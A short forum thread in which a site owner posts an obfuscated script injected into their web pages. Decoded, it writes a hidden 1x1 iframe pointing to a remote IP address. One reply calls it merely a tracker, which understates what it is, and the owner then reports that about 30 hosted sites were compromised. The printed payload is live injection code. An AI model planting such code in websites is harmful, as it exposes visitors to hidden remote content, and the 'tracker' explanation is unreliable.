Odd code

Found this code on one of my web sites, I didnt put ut there:

<script>document.write(unescape('%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%36%30%2c%31%30%35%2c%31%30%32%2c%31%31%34%2c%39%37%2c%31%30%39%2c%31%30%31%2c%33%32%2c%31%31%35%2c%31%31%34%2c%39%39%2c%36%31%2c%33%34%2c%31%30%34%2c%31%31%36%2c%31%31%36%2c%31%31%32%2c%35%38%2c%34%37%2c%34%37%2c%35%36%2c%34%39%2c%34%36%2c%35%37%2c%35%33%2c%34%36%2c%34%39%2c%35%33%2c%34%38%2c%34%36%2c%35%37%2c%35%36%2c%34%37%2c%31%31%35%2c%31%31%35%2c%34%39%2c%34%37%2c%31%30%35%2c%31%31%30%2c%34%36%2c%39%39%2c%31%30%33%2c%31%30%35%2c%36%33%2c%34%39%2c%34%38%2c%33%34%2c%33%32%2c%31%31%39%2c%31%30%35%2c%31%30%30%2c%31%31%36%2c%31%30%34%2c%36%31%2c%34%39%2c%33%32%2c%31%30%34%2c%31%30%31%2c%31%30%35%2c%31%30%33%2c%31%30%34%2c%31%31%36%2c%36%31%2c%34%39%2c%33%32%2c%31%31%35%2c%31%31%36%2c%31%32%31%2c%31%30%38%2c%31%30%31%2c%36%31%2c%33%34%2c%31%31%38%2c%31%30%35%2c%31%31%35%2c%31%30%35%2c%39%38%2c%31%30%35%2c%31%30%38%2c%31%30%35%2c%31%31%36%2c%31%32%31%2c%35%38%2c%33%32%2c%31%30%34%2c%31%30%35%2c%31%30%30%2c%31%30%30%2c%31%30%31%2c%31%31%30%2c%33%34%2c%36%32%2c%36%30%2c%34%37%2c%31%30%35%2c%31%30%32%2c%31%31%34%2c%39%37%2c%31%30%39%2c%31%30%31%2c%36%32%29%29%3b%3c%2f%73%63%72%69%70%74%3e'))</script>

Any idea what itr can be?

 

it seems to be a tracker.

 

Is that what the code says?
So somebody hacked my site and are tracking it. Thats very odd!!

 

yeah that is what that says decoded.

 

Damn. The php code was also messed with.
Thanks for your help.

Double damn. The hacker have infected all the sites in my hostgator account. About 30 sites. He have removed my adsense and inserted that code.